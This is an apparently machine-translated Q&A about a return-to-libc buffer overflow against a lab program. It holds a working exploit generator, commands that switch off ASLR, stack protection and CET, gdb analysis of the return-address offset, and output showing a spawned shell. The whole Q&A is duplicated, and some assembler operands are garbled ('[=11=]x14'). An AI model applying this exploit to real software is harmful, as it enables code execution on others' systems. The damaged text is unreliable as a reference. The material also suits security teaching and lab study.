Return 对 libc 缓冲区溢出攻击
Return to libc buffer overflow attack
我试图使 return 到 libc 缓冲区溢出。我找到了系统、出口和 /bin/sh 的所有地址,我不知道为什么,但是当我尝试 运行 易受攻击的程序时,什么也没有发生。
system, exit address
/bin/sh address
易受攻击的程序:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(FILE* badfile)
{
char buffer[BUF_SIZE];
fread(buffer, sizeof(char), 300, badfile);
return 1;
}
int main(int argc, char** argv)
{
FILE* badfile;
char dummy[BUF_SIZE * 5];
badfile = fopen("badfile", "r");
bof(badfile);
printf("Return properly.\n");
fclose(badfile);
return 1;
}
利用程序:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buf[40];
FILE* badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe1e; // /bin/sh
*(long *) &buf[20] = 0xb7e369d0; // exit
*(long *) &buf[16] = 0xb7e42da0; // system
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
return 1;
}
这是我用来查找 MYSHELL 地址的程序(for /bin/sh)
#include <stdio.h>
void main()
{
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
航站楼:
Terminal image after run retlib
首先,可以部署许多缓解措施来防止这种攻击。您需要禁用每一个:
- ASLR:您已经禁用
sudo sysctl -w kernel.randomize_va_space=0
。但更好的选择是仅对一个 shell 及其子项禁用它:setarch $(uname -m) -R /bin/bash
.
- Stack protector:编译器可以在buffer和栈上的return地址之间放置stack canary,在buffer写操作执行前向其中写入一个值执行,然后就在 returning 之前,验证它没有被缓冲区写操作更改。这可以通过
-fno-stack-protector
. 禁用
- 影子堆栈:较新的处理器可能具有影子堆栈功能(Intel CET),在调用函数时,将 return 地址的副本存储在远离可写内存,当从当前函数 returning 时根据 return 地址进行检查。这个(和其他一些 CET 保护)可以用
-fcf-protection=none
. 禁用
问题没有提到它,但是代码中使用的地址(以及 long
的使用)表明目标是 32 位系统。如果使用的系统是64位的,需要在compiler flags中加入-m32
:
gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c
当从一个二进制文件确定环境变量地址并在另一个二进制文件中使用它时,它们的环境变量和来自 shell 的调用是相同的(至少在长度上)是非常重要的。如果一个执行为a.out
,另一个也应该执行为a.out
。一个在不同的路径中,具有不同的 argv
将移动环境变量。
或者,您可以从易受攻击的二进制文件中打印环境变量的地址。
通过查看bof
函数的反汇编,可以确定buffer与return地址的距离:
(gdb) disassemble bof
Dump of assembler code for function bof:
0x565561dd <+0>: push %ebp
0x565561de <+1>: mov %esp,%ebp
0x565561e0 <+3>: push %ebx
0x565561e1 <+4>: sub [=11=]x14,%esp
0x565561e4 <+7>: call 0x56556286 <__x86.get_pc_thunk.ax>
0x565561e9 <+12>: add [=11=]x2de3,%eax
0x565561ee <+17>: pushl 0x8(%ebp)
0x565561f1 <+20>: push [=11=]x12c
0x565561f6 <+25>: push [=11=]x1
0x565561f8 <+27>: lea -0x14(%ebp),%edx
0x565561fb <+30>: push %edx
0x565561fc <+31>: mov %eax,%ebx
0x565561fe <+33>: call 0x56556050 <fread@plt>
0x56556203 <+38>: add [=11=]x10,%esp
0x56556206 <+41>: mov [=11=]x1,%eax
0x5655620b <+46>: mov -0x4(%ebp),%ebx
0x5655620e <+49>: leave
0x5655620f <+50>: ret
End of assembler dump.
注意-0x14(%ebp)
作为第一个参数传给fread
,也就是要溢出的buffer
。还要注意 ebp
是 esp
在第一条指令中压入 ebp
之后的值。因此,ebp
指向保存的 ebp
,其后是 return 地址。这意味着从缓冲区的开始,保存 ebp
是 20 个字节,return 地址是 24 个字节。
*(long *) &buf[32] = ...; // /bin/sh
*(long *) &buf[28] = ...; // exit
*(long *) &buf[24] = ...; // system
通过这些更改,shell 由易受攻击的二进制文件执行:
$ ps
PID TTY TIME CMD
1664961 pts/1 00:00:00 bash
1706389 pts/1 00:00:00 bash
1709328 pts/1 00:00:00 ps
$ ./a.out
$ ps
PID TTY TIME CMD
1664961 pts/1 00:00:00 bash
1706389 pts/1 00:00:00 bash
1709329 pts/1 00:00:00 a.out
1709330 pts/1 00:00:00 sh
1709331 pts/1 00:00:00 sh
1709332 pts/1 00:00:00 ps
$
我试图使 return 到 libc 缓冲区溢出。我找到了系统、出口和 /bin/sh 的所有地址,我不知道为什么,但是当我尝试 运行 易受攻击的程序时,什么也没有发生。 system, exit address /bin/sh address
易受攻击的程序:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(FILE* badfile)
{
char buffer[BUF_SIZE];
fread(buffer, sizeof(char), 300, badfile);
return 1;
}
int main(int argc, char** argv)
{
FILE* badfile;
char dummy[BUF_SIZE * 5];
badfile = fopen("badfile", "r");
bof(badfile);
printf("Return properly.\n");
fclose(badfile);
return 1;
}
利用程序:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buf[40];
FILE* badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe1e; // /bin/sh
*(long *) &buf[20] = 0xb7e369d0; // exit
*(long *) &buf[16] = 0xb7e42da0; // system
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
return 1;
}
这是我用来查找 MYSHELL 地址的程序(for /bin/sh)
#include <stdio.h>
void main()
{
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
航站楼: Terminal image after run retlib
首先,可以部署许多缓解措施来防止这种攻击。您需要禁用每一个:
- ASLR:您已经禁用
sudo sysctl -w kernel.randomize_va_space=0
。但更好的选择是仅对一个 shell 及其子项禁用它:setarch $(uname -m) -R /bin/bash
. - Stack protector:编译器可以在buffer和栈上的return地址之间放置stack canary,在buffer写操作执行前向其中写入一个值执行,然后就在 returning 之前,验证它没有被缓冲区写操作更改。这可以通过
-fno-stack-protector
. 禁用
- 影子堆栈:较新的处理器可能具有影子堆栈功能(Intel CET),在调用函数时,将 return 地址的副本存储在远离可写内存,当从当前函数 returning 时根据 return 地址进行检查。这个(和其他一些 CET 保护)可以用
-fcf-protection=none
. 禁用
问题没有提到它,但是代码中使用的地址(以及 long
的使用)表明目标是 32 位系统。如果使用的系统是64位的,需要在compiler flags中加入-m32
:
gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c
当从一个二进制文件确定环境变量地址并在另一个二进制文件中使用它时,它们的环境变量和来自 shell 的调用是相同的(至少在长度上)是非常重要的。如果一个执行为a.out
,另一个也应该执行为a.out
。一个在不同的路径中,具有不同的 argv
将移动环境变量。
或者,您可以从易受攻击的二进制文件中打印环境变量的地址。
通过查看bof
函数的反汇编,可以确定buffer与return地址的距离:
(gdb) disassemble bof
Dump of assembler code for function bof:
0x565561dd <+0>: push %ebp
0x565561de <+1>: mov %esp,%ebp
0x565561e0 <+3>: push %ebx
0x565561e1 <+4>: sub [=11=]x14,%esp
0x565561e4 <+7>: call 0x56556286 <__x86.get_pc_thunk.ax>
0x565561e9 <+12>: add [=11=]x2de3,%eax
0x565561ee <+17>: pushl 0x8(%ebp)
0x565561f1 <+20>: push [=11=]x12c
0x565561f6 <+25>: push [=11=]x1
0x565561f8 <+27>: lea -0x14(%ebp),%edx
0x565561fb <+30>: push %edx
0x565561fc <+31>: mov %eax,%ebx
0x565561fe <+33>: call 0x56556050 <fread@plt>
0x56556203 <+38>: add [=11=]x10,%esp
0x56556206 <+41>: mov [=11=]x1,%eax
0x5655620b <+46>: mov -0x4(%ebp),%ebx
0x5655620e <+49>: leave
0x5655620f <+50>: ret
End of assembler dump.
注意-0x14(%ebp)
作为第一个参数传给fread
,也就是要溢出的buffer
。还要注意 ebp
是 esp
在第一条指令中压入 ebp
之后的值。因此,ebp
指向保存的 ebp
,其后是 return 地址。这意味着从缓冲区的开始,保存 ebp
是 20 个字节,return 地址是 24 个字节。
*(long *) &buf[32] = ...; // /bin/sh
*(long *) &buf[28] = ...; // exit
*(long *) &buf[24] = ...; // system
通过这些更改,shell 由易受攻击的二进制文件执行:
$ ps
PID TTY TIME CMD
1664961 pts/1 00:00:00 bash
1706389 pts/1 00:00:00 bash
1709328 pts/1 00:00:00 ps
$ ./a.out
$ ps
PID TTY TIME CMD
1664961 pts/1 00:00:00 bash
1706389 pts/1 00:00:00 bash
1709329 pts/1 00:00:00 a.out
1709330 pts/1 00:00:00 sh
1709331 pts/1 00:00:00 sh
1709332 pts/1 00:00:00 ps
$